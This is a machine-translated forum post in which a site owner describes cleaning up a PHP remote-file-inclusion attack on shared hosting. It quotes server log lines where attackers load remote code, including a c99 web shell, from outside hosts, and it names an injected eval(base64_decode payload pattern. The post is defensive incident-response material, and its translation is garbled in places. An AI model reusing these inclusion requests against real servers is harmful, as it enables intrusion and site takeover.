Когда-то моя общая среда хостинга скомпрометирована, потому что я не смог удержать портфолио установленных установленных приложений. На прошлой неделе это произошло из-за старой и неиспользуемой установки PHP-приложения под названием «Справочный центр Live». В результате каждый файл PHP на сервере (и у меня есть несколько приложений Wordpress, Joomlas, SilverStripe) добавлен код, который вытащил скрытые ссылки с других сайтов и включил их в мою страницу. Другие люди сообщают, что их сайты были запрещены Google после такого рода нападений - к счастью, я, кажется, поймал его достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузер для мобильных устройств.PHP Injection Attack - как лучше очистить беспорядок?
Я нашел много попыток атаки, как этот в журнале:
62.149.18.193 - - [06/февраля/2009: 14: 52: 45 +0000] «GET /support/module.php ? модуль = HelpCenter // включают в себя/main.php? конфигурации [search_disp] = истинная & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7/данных/фото/ id2.txt ??? HTTP/1.1" 200 26 " - "" libwww-perl/5.814 "
Я сразу же удалил это приложение катион, и написал сценарий, который удалил нарушающий PHP-код из каждого исходного файла. Я также обнаружил, что скрипт создал HTML-файлы, содержащие ссылки для других зараженных сайтов. Я тоже удалил их. Теперь я обеспокоен тем, что злоумышленник может оставить что-то еще, что я пропустил, - файл PHP где-нибудь, который даст ему постоянный доступ. Даты файлов были изменены в атаке, и я не мог найти никаких других файлов, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?
Редактировать: Я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел.
Другое редактирование: Если вам посчастливилось встретить этот пост, потому что вы находите себя в той же ситуации, возможно, это поможет вам. Я использовал это, чтобы создать резервную копию всех моих исходных PHP файлы перед манипулируя ими:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
и это, чтобы отменить изменения, что злоумышленник сделал:
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
не ракетостроение, но не тривиальные ни для случайный пользователь Linux/Unix, как и я :-).
Другое редактирование: Я не могу проверять каждую строку кода на сервере, но я могу искать подозрительные данные. Я искал все вхождения «eval» и «base64» и не нашел ничего, что не выглядело бы законным. Затем я запустил grep для «.ru» (так как преступники, похоже, пришли оттуда), и вот, нашел и нашел что-то, называемое оболочкой c99, которую я быстро удалил.
Окончательное редактирование: Я узнал, как была загружена оболочка c99 - через отверстие в галерее Coppermine.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
IP-адрес, кстати, является IP-адресом Godaddy.
Приятной вещью сохранения резервной копии SVN является то, что вы можете легко определить, что изменилось и в каких файлах. – bart
+1 - это также позволяет легко разрабатывать вне своей производственной среды – kdgregory